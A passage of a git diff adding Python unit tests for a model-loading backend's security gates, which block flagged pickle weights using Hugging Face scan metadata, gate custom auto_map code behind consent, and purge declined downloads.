+ repo_id = None, + filename = None, + token = None, + **kw, + ): + import json + import tempfile + + if filename == "config.json": + p = Path(tempfile.mkdtemp()) / "config.json" + p.write_text(json.dumps({"auto_map": {"AutoModelForCausalLM": "modeling_x.X"}})) + return str(p) + raise EntryNotFoundError(filename) + + with ( + patch("huggingface_hub.hf_hub_download", side_effect = _dl), + patch( + "huggingface_hub.list_repo_files", + return_value = ["config.json", "model.safetensors", "model.gguf"], + ), + ): + assert consent._config_has_auto_map("org/Mixed-Repo") is True + + def test_mixed_gguf_and_bin_repo_is_still_gated(self): + # A repo with .gguf + a non-safetensors transformers weight (.bin/.pt/.pth/.h5/ + # .msgpack/.onnx/.ckpt) is not GGUF-only: transformers can load it and run + # auto_map, so the gate still applies even with no .safetensors present. + def _dl( + repo_id = None, + filename = None, + token = None, + **kw, + ): + import json + import tempfile + + if filename == "config.json": + p = Path(tempfile.mkdtemp()) / "config.json" + p.write_text(json.dumps({"auto_map": {"AutoModel": "modeling_x.X"}})) + return str(p) + raise EntryNotFoundError(filename) + + for weight in ( + "pytorch_model.bin", + "model.pt", + "model.pth", + "tf_model.h5", + "flax_model.msgpack", + "model.onnx", + "model.ckpt", + ): + with ( + patch("huggingface_hub.hf_hub_download", side_effect = _dl), + patch( + "huggingface_hub.list_repo_files", + return_value = ["config.json", "modeling_x.py", weight, "model.gguf"], + ), + ): + assert consent._config_has_auto_map("org/Mixed-Bin-GGUF") is True, weight + + +# POST /discard-remote-code: purge what the scan downloaded on decline, but never a +# model the user already had (weights), a loaded model, or a local path. + + +class TestDiscardRemoteCodeDownload: + @staticmethod + def _fake_cache(filenames): + files = [ + SimpleNamespace(file_name = fn, file_path = f"/snap/{fn}", blob_path = f"/blob/{fn}") + for fn in filenames + ] + rev = SimpleNamespace(commit_hash = "deadbeef", files = files) + repo = SimpleNamespace(repo_type = "model", repo_id = "evil/repo", revisions = [rev]) + return SimpleNamespace(repos = [repo], delete_revisions = MagicMock()) + + def _run(self, model_name, cache_scans): + import asyncio + + import routes.models as M + + not_loaded = SimpleNamespace(active_model_name = None) + with ( + patch.object(M, "is_local_path", return_value = model_name.startswith("/")), + patch.object(M, "_all_hf_cache_scans", return_value = cache_scans), + patch.object(M, "get_inference_backend", return_value = not_loaded), + patch( + "routes.inference.get_llama_cpp_backend", + return_value = SimpleNamespace(is_loaded = False, model_identifier = None), + ), + ): + return asyncio.run(M.discard_remote_code_download(model_name, current_subject = "t")) + + def test_purges_metadata_only_entry(self): + cache = self._fake_cache(["config.json", "tokenizer_config.json", "modeling_evil.py"]) + res = self._run("evil/repo", [cache]) + assert res["deleted"] is True + cache.delete_revisions.assert_called_once_with("deadbeef") + + def test_refuses_when_weights_present(self): + cache = self._fake_cache(["config.json", "model.safetensors"]) + res = self._run("evil/repo", [cache]) + assert res == {"deleted": False, "reason": "has_weights"} + cache.delete_revisions.assert_not_called() + + def test_refuses_when_gguf_present(self): + cache = self._fake_cache(["config.json", "model.Q4_K_M.gguf"]) + res = self._run("evil/repo", [cache]) + assert res["reason"] == "has_weights" + + def test_refuses_local_path(self): + res = self._run("/home/me/model", []) + assert res == {"deleted": False, "reason": "local"} + + def test_noop_when_not_cached(self): + res = self._run("evil/repo", []) + assert res == {"deleted": False, "reason": "not_cached"} + + def test_route_source_reports_created_by_scan(self): + src = (_BACKEND / "routes/models.py").read_text() + assert "created_by_scan" in src + assert "discard-remote-code" in src diff --git a/studio/backend/tests/test_file_security.py b/studio/backend/tests/test_file_security.py new file mode 100644 index 0000000000..b4c8f5d242 --- /dev/null +++ b/studio/backend/tests/test_file_security.py @@ -0,0 +1,534 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Tests for the malware / unsafe-file gate (utils.security.file_security). + +The gate reads HF's security scan (model_info securityStatus) metadata-only and never +downloads flagged files; only the Hub call is stubbed. Policy: block a non-"safe" level +(unknown levels fail closed), fail open when the scan is unavailable, skip local paths +only, no first-party exemption. The block is scoped to the load-path RCE vector (a +root-level code-executing file), so flagged safetensors and subdir pickles do not block. +""" + +from types import SimpleNamespace +from unittest.mock import patch + +import pytest + +from utils.security import evaluate_file_security + + +def _patch_status(status): + """Patch huggingface_hub.model_info to return one fixed security_repo_status.""" + + def _mi(*_args, **_kwargs): + return SimpleNamespace(security_repo_status = status) + + return patch("huggingface_hub.model_info", side_effect = _mi) + + +def _patch_raises(exc = RuntimeError("offline")): + return patch("huggingface_hub.model_info", side_effect = exc) + + +def _patch_no_index(): + """Make the weight-index lookup find no index files (definitive: nothing sharded).""" + from huggingface_hub.utils import EntryNotFoundError + + def _dl( + repo_id = None, + filename = None, + token = None, + **kw, + ): + raise EntryNotFoundError(filename or "") + + return patch("huggingface_hub.hf_hub_download", side_effect = _dl) + + +def _patch_index(weight_map, index_filename = "pytorch_model.bin.index.json"): + """Serve a root weight index mapping tensor names -> shard paths; others 404.""" + import json + import tempfile + from pathlib import Path + + from huggingface_hub.utils import EntryNotFoundError + + def _dl( + repo_id = None, + filename = None, + token = None, + **kw, + ): + if filename == index_filename: + p = Path(tempfile.mkdtemp()) / filename + p.write_text(json.dumps({"weight_map": weight_map})) + return str(p) + raise EntryNotFoundError(filename or "") + + return patch("huggingface_hub.hf_hub_download", side_effect = _dl) + + +def _patch_index_unreadable(): + """Make every index fetch fail transiently (inconclusive lookup -> fail closed).""" + + def _dl( + repo_id = None, + filename = None, + token = None, + **kw, + ): + raise RuntimeError("transient network error") + + return patch("huggingface_hub.hf_hub_download", side_effect = _dl) + + +def _patch_index_mixed(weight_map, readable_index, failing_index): + """Serve one index cleanly while another fails transiently: the flagged shard is + listed only by the index we could not read, so a naive "read any index?" check breaks.""" + import json + import tempfile + from pathlib import Path + + from huggingface_hub.utils import EntryNotFoundError + + def _dl( + repo_id = None, + filename = None, + token = None, + **kw, + ): + if filename == readable_index: + p = Path(tempfile.mkdtemp()) / filename + p.write_text(json.dumps({"weight_map": weight_map})) + return str(p) + if filename == failing_index: + raise RuntimeError("transient network error") + raise EntryNotFoundError(filename or "") + + return patch("huggingface_hub.hf_hub_download", side_effect = _dl) + + +@pytest.mark.parametrize("level", ["unsafe", "suspicious", "malicious"]) +def test_blocks_each_blocking_level(level): + status = {"scansDone": True, "filesWithIssues": [{"path": "pytorch_model.bin", "level": level}]} + with _patch_status(status): + d = evaluate_file_security("evil/repo") + assert d.blocked is True + assert d.unsafe_files == [{"path": "pytorch_model.bin", "level": level}] + assert d.response_payload()["security_blocked"] is True + + +def test_ignores_safe_only(): + status = { + "scansDone": True, + "filesWithIssues": [{"path": "model.safetensors", "level": "safe"}], + } + with _patch_status(status): + d = evaluate_file_security("good/repo") + assert d.blocked is False + assert d.unsafe_files == [] + + +def test_blocks_unsafe_even_when_scans_not_done(): + # scansDone is often False for clean repos; an already-flagged file must still block. + status = {"scansDone": False, "filesWithIssues": [{"path": "x.pkl", "level": "unsafe"}]} + with _patch_status(status): + d = evaluate_file_security("evil/repo") + assert d.blocked is True + + +def test_fail_open_when_scan_unavailable(): + # model_info returns no security_repo_status -> unknown -> allow. + with _patch_status(None): + d = evaluate_file_security("unknown/repo") + assert d.blocked is False + + +def test_fail_open_on_exception_offline(): + with _patch_raises(): + d = evaluate_file_security("offline/repo") + assert d.blocked is False + + +def test_fail_open_scans_done_no_issues(): + with _patch_status({"scansDone": True, "filesWithIssues": []}): + d = evaluate_file_security("clean/repo") + assert d.blocked is False + + +def test_skips_local_path(): + # A local path has no Hub scan; must not even call model_info. + with patch("huggingface_hub.model_info", side_effect = AssertionError("should not be called")): + d = evaluate_file_security("/tmp/some/local/model") + assert d.blocked is False + assert "local" in d.reason + + +def test_remote_gguf_named_repo_is_still_scanned(): + # Only LOCAL paths skip the Hub scan, so a remote .gguf repo is still scanned and a + # poisoned pickle smuggled into it is blocked. + status = { + "scansDone": True, + "filesWithIssues": [{"path": "pytorch_model.bin", "level": "unsafe"}], + } + with _patch_status(status): + d = evaluate_file_security("evil/model.gguf") + assert d.blocked is True + assert d.unsafe_files + + +def test_skips_local_gguf_file(): + # A local .gguf path is caught by is_local_path -- no Hub call. + with patch("huggingface_hub.model_info", side_effect = AssertionError("should not be called")): + d = evaluate_file_security("/tmp/models/model.gguf") + assert d.blocked is False + assert "local" in d.reason + + +def test_no_first_party_exemption(): + # A poisoned pickle in a first-party repo still blocks (compromised-repo defense). + status = { + "scansDone": True, + "filesWithIssues": [{"path": "pytorch_model.bin", "level": "unsafe"}], + } + with _patch_status(status): + d = evaluate_file_security("unsloth/some-model") + assert d.blocked is True + + +def test_malformed_entries_are_ignored(): + status = { + "scansDone": True, + "filesWithIssues": ["not-a-dict", {"path": "ok.pkl", "level": "unsafe"}], + } + with _patch_status(status): + d = evaluate_file_security("evil/repo") + assert d.blocked is True + assert d.unsafe_files == [{"path": "ok.pkl", "level": "unsafe"}] + + +def test_response_payload_shape(): + status = {"scansDone": True, "filesWithIssues": [{"path": "a.pkl", "level": "malicious"}]} + with _patch_status(status): + payload = evaluate_file_security("evil/repo").response_payload() + assert set(payload) == {"unsafe_files", "security_blocked", "reason"} + assert payload["security_blocked"] is True + assert payload["unsafe_files"] == [{"path": "a.pkl", "level": "malicious"}] + + +# ── Load-path RCE scoping: block only files a load would actually deserialize ── + + +def test_flagged_safetensors_does_not_block(): + # safetensors is tensor-only and cannot execute code, so a flag on one (often + # picklescan tripping on a sibling pickle) is not an RCE vector and must not block. + status = { + "scansDone": False, + "filesWithIssues": [{"path": "model-00001-of-00004.safetensors", "level": "unsafe"}], + } + with _patch_status(status): + d = evaluate_file_security("nvidia/some-model") + assert d.blocked is False + assert d.unsafe_files == [] + + +def test_flagged_subdirectory_pickle_does_not_block(): + # from_pretrained reads only root weights; a flagged subdir pickle no root index + # references (e.g. a NeMo checkpoint) is never loaded, so it must not block. + status = { + "scansDone": False, + "filesWithIssues": [ + {"path": "nemo/weights/common.pt", "level": "unsafe"}, + {"path": "nemo/weights/__0_0.distcp", "level": "unsafe"}, + ], + } + with _patch_status(status), _patch_no_index(): + d = evaluate_file_security("nvidia/some-model") + assert d.blocked is False + assert d.unsafe_files == [] + + +def test_nemotron_h_shaped_status_loads(): + # Real Nemotron-H-8B-Base-8K shape: flagged root safetensors + unreferenced nemo/ + # pickles. None is a load-path vector, so it must load. + status = { + "scansDone": False, + "filesWithIssues": [ + {"path": "nemo/weights/.metadata", "level": "unsafe"}, + {"path": "nemo/weights/__0_0.distcp", "level": "unsafe"}, + {"path": "nemo/weights/common.pt", "level": "unsafe"}, + {"path": "model-00001-of-00004.safetensors", "level": "unsafe"}, + {"path": "model-00002-of-00004.safetensors", "level": "unsafe"}, + ], + } + with _patch_status(status), _patch_no_index(): + d = evaluate_file_security("nvidia/Nemotron-H-8B-Base-8K") + assert d.blocked is False + assert d.unsafe_files == [] + + +def test_indexed_subdir_shard_blocks(): + # A flagged subdir shard that a root index references IS deserialized, so it blocks. + status = { + "scansDone": False, + "filesWithIssues": [ + {"path": "shards/pytorch_model-00001-of-00002.bin", "level": "unsafe"}, + ], + } + weight_map = { + "layer.0.weight": "shards/pytorch_model-00001-of-00002.bin", + "layer.1.weight": "shards/pytorch_model-00002-of-00002.bin", + } + with _patch_status(status), _patch_index(weight_map): + d = evaluate_file_security("evil/sharded") + assert d.blocked is True + assert d.unsafe_files == [ + {"path": "shards/pytorch_model-00001-of-00002.bin", "level": "unsafe"} + ] + + +def test_unindexed_subdir_pickle_does_not_block_when_index_present(): + # An index exists but does not list the flagged subdir pickle -> not loaded -> no block. + status = { + "scansDone": False, + "filesWithIssues": [{"path": "extras/notes.bin", "level": "unsafe"}], + } + weight_map = {"layer.0.weight": "pytorch_model-00001-of-00001.bin"} + with _patch_status(status), _patch_index(weight_map): + d = evaluate_file_security("org/has-index") + assert d.blocked is False + assert d.unsafe_files == [] + + +def test_inconclusive_index_lookup_blocks_subdir_pickle(): + # An unreadable index can't rule out that the flagged subdir pickle is a shard -> block. + status = { + "scansDone": False, + "filesWithIssues": [{"path": "weights/model_part.bin", "level": "unsafe"}], + } + with _patch_status(status), _patch_index_unreadable(): + d = evaluate_file_security("org/transient") + assert d.blocked is True + assert d.unsafe_files == [{"path": "weights/model_part.bin", "level": "unsafe"}] + + +def test_partial_index_read_with_transient_failure_blocks_subdir_pickle(): + # The bin index (which would list the flagged shard) fails transiently; a partial + # path set is not definitive, so fail closed. + status = { + "scansDone": False, + "filesWithIssues": [ + {"path": "shards/pytorch_model-00001-of-00002.bin", "level": "unsafe"}, + ], + } + # The readable index lists only benign shards; the flagged .bin is in the unread index. + safetensors_map = {"layer.0.weight": "model-00001-of-00001.safetensors"} + with ( + _patch_status(status), + _patch_index_mixed( + safetensors_map, + readable_index = "model.safetensors.index.json", + failing_index = "pytorch_model.bin.index.json", + ), + ): + d = evaluate_file_security("evil/mixed-index") + assert d.blocked is True + assert d.unsafe_files == [ + {"path": "shards/pytorch_model-00001-of-00002.bin", "level": "unsafe"} + ] + + +def test_root_pickle_alongside_safetensors_still_blocks(): + # A real root pickle blocks even alongside a flagged safetensors; it is a load-path vector. + status = { + "scansDone": False, + "filesWithIssues": [ + {"path": "model.safetensors", "level": "unsafe"}, + {"path": "pytorch_model.bin", "level": "unsafe"}, + ], + } + with _patch_status(status): + d = evaluate_file_security("evil/repo") + assert d.blocked is True + assert d.unsafe_files == [{"path": "pytorch_model.bin", "level": "unsafe"}] + + +def test_eicar_shaped_root_files_block(): + # The canonical eicar repo ships its dangerous files at the ROOT, so it stays blocked. + status = { + "scansDone": True, + "filesWithIssues": [ + {"path": "model_broken_X.pkl", "level": "unsafe"}, + {"path": "danger.dat", "level": "unsafe"}, + {"path": "eicar_test_file", "level": "unsafe"}, + ], + } + with _patch_status(status): + d = evaluate_file_security("mcpotato/42-eicar-street") + assert d.blocked is True + assert len(d.unsafe_files) == 3 + + +def test_unknown_future_level_fails_closed(): + # Hub schema drift: an unrecognized non-"safe" level (e.g. "infected") on a root pickle must block. + status = {"scansDone": True, "filesWithIssues": [{"path": "weights.bin", "level": "infected"}]} + with _patch_status(status): + d = evaluate_file_security("evil/repo") + assert d.blocked is True + assert d.unsafe_files == [{"path": "weights.bin", "level": "infected"}] + + +def test_pending_or_scanning_level_does_not_block(): + # A not-yet-finished per-file scan state must not false-block. + for lvl in ("pending", "scanning", "queued", "unscanned", "error"): + status = { + "scansDone": False, + "filesWithIssues": [{"path": "pytorch_model.bin", "level": lvl}], + } + with _patch_status(status): + d = evaluate_file_security("some/repo") + assert d.blocked is False, lvl + + +# -- Subdir load roots: Spark-TTS / BiCodec load from_pretrained(/LLM) -- + + +def test_flagged_pickle_under_load_subdir_blocks(): + # A flagged pickle directly under a declared load subdir is a root-level artifact there. + status = { + "scansDone": False, + "filesWithIssues": [{"path": "LLM/pytorch_model.bin", "level": "unsafe"}], + } + with _patch_status(status), _patch_no_index(): + d = evaluate_file_security("org/spark-tts", load_subdirs = ("LLM",)) + assert d.blocked is True + assert d.unsafe_files == [{"path": "LLM/pytorch_model.bin", "level": "unsafe"}] + + +def test_flagged_pickle_under_subdir_without_load_root_does_not_block(): + # Same file, but NOT declared a load root and not indexed -> not deserialized. + status = { + "scansDone": False, + "filesWithIssues": [{"path": "LLM/pytorch_model.bin", "level": "unsafe"}], + } + with _patch_status(status), _patch_no_index(): + d = evaluate_file_security("org/not-a-load-root") + assert d.blocked is False + assert d.unsafe_files == [] + + +def test_indexed_shard_under_load_subdir_blocks(): + # An index inside the load subdir referencing a flagged shard makes it a vector. + status = { + "scansDone": False, + "filesWithIssues": [ + {"path": "LLM/shards/pytorch_model-00001-of-00002.bin", "level": "unsafe"} + ], + } + weight_map = { + "layer.0.weight": "shards/pytorch_model-00001-of-00002.bin", + "layer.1.weight": "shards/pytorch_model-00002-of-00002.bin", + } + with ( + _patch_status(status), + _patch_index(weight_map, index_filename = "LLM/pytorch_model.bin.index.json"), + ): + d = evaluate_file_security("org/spark-tts", load_subdirs = ("LLM",)) + assert d.blocked is True + + +# -- Source files are the consent gate's domain, not a deserialization vector -- + + +def test_flagged_root_python_helper_does_not_block(): + # A root .py is never deserialized; repo code runs only via auto_map under the consent + # gate, so flagging it here would false-block. + status = { + "scansDone": True, + "filesWithIssues": [ + {"path": "build_pickles.py", "level": "unsafe"}, + {"path": "train.py", "level": "suspicious"}, + ], + } + with _patch_status(status): + d = evaluate_file_security("org/has-helper-scripts") + assert d.blocked is False + assert d.unsafe_files == [] + + +def test_root_pickle_still_blocks_with_flagged_python_sibling(): + # The .py exemption must not mask a genuine root pickle in the same repo. + status = { + "scansDone": True, + "filesWithIssues": [ + {"path": "convert.py", "level": "unsafe"}, + {"path": "pytorch_model.bin", "level": "unsafe"}, + ], + } + with _patch_status(status): + d = evaluate_file_security("evil/mixed") + assert d.blocked is True + + +# -- Alias resolution: scan the repo the loader actually fetches from -- + + +def _patch_status_capture(status): + """Like _patch_status, but records the repo id model_info was queried with.""" + seen = {} + + def _mi(repo, *_a, **_k): + seen["repo"] = repo + return SimpleNamespace(security_repo_status = status) + + return patch("huggingface_hub.model_info", side_effect = _mi), seen + + +def test_spark_tts_llm_alias_scans_real_repo(): + # "Spark-TTS-0.5B/LLM" loads as unsloth/Spark-TTS-0.5B with LLM as load root; scanning + # the literal alias 404s and fails open, missing a flagged LLM/ pickle. + status = {"filesWithIssues": [{"path": "LLM/pytorch_model.bin", "level": "unsafe"}]} + cap, seen = _patch_status_capture(status) + with cap, patch("utils.paths.is_local_path", return_value = False), _patch_no_index(): + d = evaluate_file_security("Spark-TTS-0.5B/LLM", load_subdirs = ()) + assert seen["repo"] == "unsloth/Spark-TTS-0.5B" # scanned the real repo, not the alias + assert d.model_name == "unsloth/Spark-TTS-0.5B" + assert d.blocked is True + assert d.unsafe_files == [{"path": "LLM/pytorch_model.bin", "level": "unsafe"}] + + +def test_non_llm_alias_is_not_rewritten(): + # A normal repo id with one slash must be scanned as-is (no spurious rewrite). + status = {"filesWithIssues": [{"path": "pytorch_model.bin", "level": "unsafe"}]} + cap, seen = _patch_status_capture(status) + with cap, patch("utils.paths.is_local_path", return_value = False): + d = evaluate_file_security("org/model") + assert seen["repo"] == "org/model" + assert d.model_name == "org/model" + + +def test_generic_slash_llm_repo_is_scanned_as_itself(): + # A third-party repo merely ending in "/LLM" is not a bicodec alias, so it must be + # scanned as itself; rewriting to unsloth/ would scan the wrong repo. + status = {"filesWithIssues": [{"path": "pytorch_model.bin", "level": "unsafe"}]} + cap, seen = _patch_status_capture(status) + with cap, patch("utils.paths.is_local_path", return_value = False): + d = evaluate_file_security("evil/LLM") + assert seen["repo"] == "evil/LLM" # scanned the real repo, not unsloth/evil + assert d.model_name == "evil/LLM" + assert d.blocked is True + + +def test_security_load_subdirs_yaml_fallback(monkeypatch): + # Tokenizer detection failed, but a YAML default of audio_type=bicodec still yields LLM. + import utils.models.model_config as mc + from utils.security import security_load_subdirs + + monkeypatch.setattr(mc, "detect_audio_type", lambda *_a, **_k: None) + monkeypatch.setattr(mc, "load_model_defaults", lambda *_a, **_k: {"audio_type": "bicodec"}) + assert security_load_subdirs("unsloth/Spark-TTS-0.5B") == ("LLM",) + + # A non-bicodec default contributes no subdir. + monkeypatch.setattr(mc, "load_model_defaults", lambda *_a, **_k: {"audio_type": None}) + assert security_load_subdirs("unsloth/Llama-3.2-1B") == () diff --git a/studio/backend/tests/test_models_get_model_config_case_resolution.py b/studio/backend/tests/test_models_get_model_config_case_resolution.py index 417ec74d17..12f6c497ab 100644 --- a/studio/backend/tests/test_models_get_model_config_case_resolution.py +++ b/studio/backend/tests/test_models_get_model_config_case_resolution.py @@ -77,3 +77,29 @@ def test_get_model_config_resolves_cached_case_before_model_checks(monkeypatch): assert calls["is_embedding_model"] == "Org/Model" assert calls["detect_audio_type"] == "Org/Model" assert calls["from_identifier"] == "Org/Model" + + +def test_repo_in_any_hf_cache_matches_case_variant_in_legacy_cache(tmp_path, monkeypatch): + # A case-variant in a legacy/default cache must read as present (case resolution only + # covers the active cache; discard deletes case-insensitively, so detection must too, + # else a decline deletes a pre-existing user repo). + import utils.paths as paths_pkg + import huggingface_hub.constants as hf_constants + + active = tmp_path / "active" + legacy = tmp_path / "legacy" + default = tmp_path / "default" + for d in (active, legacy, default): + d.mkdir() + # Differently-cased entry in the legacy cache only. + (legacy / "models--Unsloth--Foo").mkdir() + + # No active-cache variant; case resolution is a no-op here. + monkeypatch.setattr(paths_pkg, "resolve_cached_repo_id_case", lambda name: name) + monkeypatch.setattr(paths_pkg, "legacy_hf_cache_dir", lambda: legacy) + monkeypatch.setattr(paths_pkg, "hf_default_cache_dir", lambda: default) + monkeypatch.setattr(hf_constants, "HF_HUB_CACHE", str(active)) + + assert models_route._repo_in_any_hf_cache("unsloth/foo") is True + # Absent from every cache -> reported absent. + assert models_route._repo_in_any_hf_cache("unsloth/not-cached") is False diff --git a/studio/backend/tests/test_security_gate_consistency.py b/studio/backend/tests/test_security_gate_consistency.py new file mode 100644 index 0000000000..db66df8a30 --- /dev/null +++ b/studio/backend/tests/test_security_gate_consistency.py @@ -0,0 +1,101 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Deterministic consistency guards for the model-load security gate. + +The gate spans many parallel sites (validate/load/status, the inference/training/export +workers, the preflight route); past regressions were a fix at one site with a sibling +left behind. These guards enumerate the sites mechanically (AST + source) so a new site +that drops the token or mis-reports the requirement fails here, not in a later review. +""" + +import ast +from pathlib import Path + +_BACKEND = Path(__file__).resolve().parent.parent + +# Probes read Hub config to classify a model; a token-less call 404s on a gated repo. +# Scan callers under routes/ and core/ (probe definitions live in utils/). +_PROBE_FUNCS = {"is_vision_model", "is_embedding_model", "detect_audio_type"} +_PROBE_CALLER_ROOTS = ("routes", "core") + + +def _iter_caller_files(): + for root in _PROBE_CALLER_ROOTS: + yield from (_BACKEND / root).rglob("*.py") + + +def _passes_token(call: ast.Call) -> bool: + """True if the call passes an hf_token (keyword, or the 2nd positional slot).""" + if any(kw.arg in ("hf_token", "token") for kw in call.keywords if kw.arg is not None): + return True + return len(call.args) >= 2 + + +def _call_name(call: ast.Call): + fn = call.func + return fn.id if isinstance(fn, ast.Name) else getattr(fn, "attr", None) + + +def test_capability_probes_thread_the_hf_token(): + """Every capability-probe caller passes the token; a token-less probe misclassifies + a gated model (the /check-vision regression).""" + offenders = [] + for path in _iter_caller_files(): + try: + tree = ast.parse(path.read_text()) + except SyntaxError: + continue + for node in ast.walk(tree): + if isinstance(node, ast.Call) and _call_name(node) in _PROBE_FUNCS: + if not _passes_token(node): + rel = path.relative_to(_BACKEND) + offenders.append(f"{rel}:{node.lineno} {_call_name(node)}() drops the hf_token") + assert not offenders, ( + "A capability probe must pass the hf_token so gated/private models classify " + "correctly:\n " + "\n ".join(offenders) + ) + + +def test_gguf_trust_remote_code_reported_inert_not_from_yaml(): + """GGUF never executes auto_map, so requires_trust_remote_code is reported via the + resolver or False, never the raw YAML bool() (the round-6 regression).""" + src = (_BACKEND / "routes" / "inference.py").read_text() + assert "requires_trust_remote_code = bool(" not in src, ( + "Report requires_trust_remote_code via _resolve_loaded_trust_remote_code " + "(non-GGUF) or set it False (GGUF); never bool(inference_config.get(...))." + ) + + +def test_capability_detection_caches_are_token_aware(): + """Every capability cache is keyed by (model, token_fingerprint) so an unauthenticated + miss cannot poison a later authenticated lookup (the audio-cache regression).""" + src = (_BACKEND / "utils" / "models" / "model_config.py").read_text() + offenders = [] + for line in src.splitlines(): + stripped = line.strip() + if "_detection_cache:" in stripped and stripped.endswith("= {}"): + if "Dict[Tuple" not in stripped and "Dict[tuple" not in stripped: + offenders.append(stripped) + assert not offenders, ( + "A capability cache must be keyed by (model, token_fingerprint), not the bare " + "model name:\n " + "\n ".join(offenders) + ) + + +def test_malware_and_consent_gates_cover_the_lora_base(): + """Every worker that runs a load gate also resolves the LoRA base, so a poisoned or + custom-code base is never skipped.""" + gated_workers = [ + "core/inference/worker.py", + "core/export/worker.py", + "core/training/worker.py", + ] + offenders = [] + for rel in gated_workers: + src = (_BACKEND / rel).read_text() + runs_gate = "evaluate_file_security(" in src or "evaluate_remote_code_consent" in src + resolves_base = "get_base_model_from_lora_identifier(" in src or "base_model" in src + if runs_gate and not resolves_base: + offenders.append(f"{rel} runs a load gate but never resolves the LoRA base") + assert not offenders, "\n".join(offenders) diff --git a/studio/backend/tests/test_trained_model_scan.py b/studio/backend/tests/test_trained_model_scan.py index 1958c8d570..7bf572e214 100644 --- a/studio/backend/tests/test_trained_model_scan.py +++ b/studio/backend/tests/test_trained_model_scan.py @@ -24,6 +24,7 @@ from utils.models.model_config import ( ModelConfig, get_base_model_from_checkpoint, get_base_model_from_lora, + get_base_model_from_lora_identifier, scan_trained_models, ) @@ -76,6 +77,83 @@ def test_get_base_model_from_lora_rejects_full_finetune_dirs(tmp_path: Path): assert get_base_model_from_lora(str(tmp_path)) is None +def test_lora_identifier_resolves_local_dir_like_the_local_helper(tmp_path: Path): + # Local path: behaves like the directory reader, no Hub call. + (tmp_path / "adapter_config.json").write_text( + json.dumps({"base_model_name_or_path": "HuggingFaceTB/SmolLM-135M"}) + ) + (tmp_path / "adapter_model.safetensors").write_bytes(b"") + with patch("huggingface_hub.hf_hub_download", side_effect = AssertionError("no Hub call")): + assert get_base_model_from_lora_identifier(str(tmp_path)) == "HuggingFaceTB/SmolLM-135M" + + +def test_lora_identifier_resolves_remote_adapter_base(tmp_path: Path): + # Remote adapter: the identifier helper fetches adapter_config.json from the Hub so + # the gate can scan the base, where the local helper returns None. + cfg = tmp_path / "adapter_config.json" + cfg.write_text(json.dumps({"base_model_name_or_path": "unsloth/Llama-3.2-1B-Instruct"})) + + def _dl( + repo, + fn, + token = None, + ): + assert repo == "someone/my-remote-lora" + assert fn == "adapter_config.json" + return str(cfg) + + assert get_base_model_from_lora("someone/my-remote-lora") is None # local-only: misses it + with patch("huggingface_hub.hf_hub_download", side_effect = _dl): + base = get_base_model_from_lora_identifier("someone/my-remote-lora") + assert base == "unsloth/Llama-3.2-1B-Instruct" + + +def test_lora_identifier_returns_none_for_non_adapter_remote_repo(): + # Non-LoRA remote repo: a 404 on adapter_config.json returns None without retrying. + from huggingface_hub.utils import EntryNotFoundError + + mock = patch("huggingface_hub.hf_hub_download", side_effect = EntryNotFoundError("404")) + with mock as m: + assert get_base_model_from_lora_identifier("unsloth/Llama-3.2-1B-Instruct") is None + assert m.call_count == 1 # 404 is definitive -> no retry + + +def test_lora_identifier_retries_transient_then_resolves(tmp_path: Path): + # A transient error is retried (not treated as "not a LoRA"); the retry resolves the base. + cfg = tmp_path / "adapter_config.json" + cfg.write_text(json.dumps({"base_model_name_or_path": "unsloth/Llama-3.2-1B-Instruct"})) + calls = {"n": 0} + + def _dl( + repo, + fn, + token = None, + ): + calls["n"] += 1 + if calls["n"] == 1: + raise RuntimeError("transient network blip") + return str(cfg) + + with patch("huggingface_hub.hf_hub_download", side_effect = _dl): + base = get_base_model_from_lora_identifier("someone/remote-lora") + assert base == "unsloth/Llama-3.2-1B-Instruct" + assert calls["n"] == 2 # retried once + + +def test_lora_identifier_persistent_transient_returns_none(): + # Two transient errors -> None, logged at WARNING (a missed base is gated by neither). + # Assert on the logger directly: robust to the logging backend (structlog vs stub). + from utils.models import model_config as _mc + with ( + patch("huggingface_hub.hf_hub_download", side_effect = RuntimeError("down")), + patch.object(_mc.logger, "warning") as mock_warn, + ): + assert get_base_model_from_lora_identifier("someone/remote-lora") is None + assert any( + "Could not resolve remote LoRA base" in str(c.args[0]) for c in mock_warn.call_args_list + ) + + @patch("utils.models.model_config.is_audio_input_type", return_value = False) @patch("utils.models.model_config.detect_audio_type", return_value = None) @patch("utils.models.model_config.is_vision_model", return_value = False) diff --git a/studio/backend/tests/test_validate_model_error.py b/studio/backend/tests/test_validate_model_error.py index f752f8eada..16edd43f93 100644 --- a/studio/backend/tests/test_validate_model_error.py +++ b/studio/backend/tests/test_validate_model_error.py @@ -84,3 +84,130 @@ def test_empty_runtime_error_falls_back_to_generic(monkeypatch): http = _provoke(monkeypatch, RuntimeError("")) assert http.status_code == 400 assert http.detail == "Invalid model" + + +def _drive_validate(monkeypatch, *, is_gguf: bool): + """Run validate_model with both security helpers forced True; return the response.""" + from types import SimpleNamespace + + import utils.models.model_config as mc + + monkeypatch.setattr( + inf, + "_resolve_model_identifier_for_request", + lambda request, operation: ("org/mixed-repo", "org/mixed-repo", False), + ) + config = SimpleNamespace( + identifier = "org/mixed-repo", + display_name = "org/mixed-repo", + is_gguf = is_gguf, + is_lora = False, + is_vision = False, + gguf_file = None, + ) + monkeypatch.setattr(inf.ModelConfig, "from_identifier", staticmethod(lambda **_kw: config)) + # No LoRA base to resolve; keep it offline. + monkeypatch.setattr(mc, "get_base_model_from_lora_identifier", lambda *_a, **_k: None) + # Both gates WOULD flag this repo (mixed repo with auto_map + an unsafe pickle). + monkeypatch.setattr(inf, "_requires_trust_remote_code_for_model", lambda *_a, **_k: True) + monkeypatch.setattr(inf, "_requires_security_review_for_model", lambda *_a, **_k: True) + + req = ValidateModelRequest(model_path = "org/mixed-repo") + return asyncio.run(inf.validate_model(req, current_subject = "tester")) + + +def test_selected_gguf_variant_skips_trc_and_security_review(monkeypatch): + # GGUF loads via llama.cpp: auto_map and root pickles are inert, so neither gate fires. + resp = _drive_validate(monkeypatch, is_gguf = True) + assert resp.is_gguf is True + assert resp.requires_trust_remote_code is False + assert resp.requires_security_review is False + + +def test_non_gguf_load_still_runs_trc_and_security_review(monkeypatch): + # Control: a Transformers (non-GGUF) load must still honor both gates. + resp = 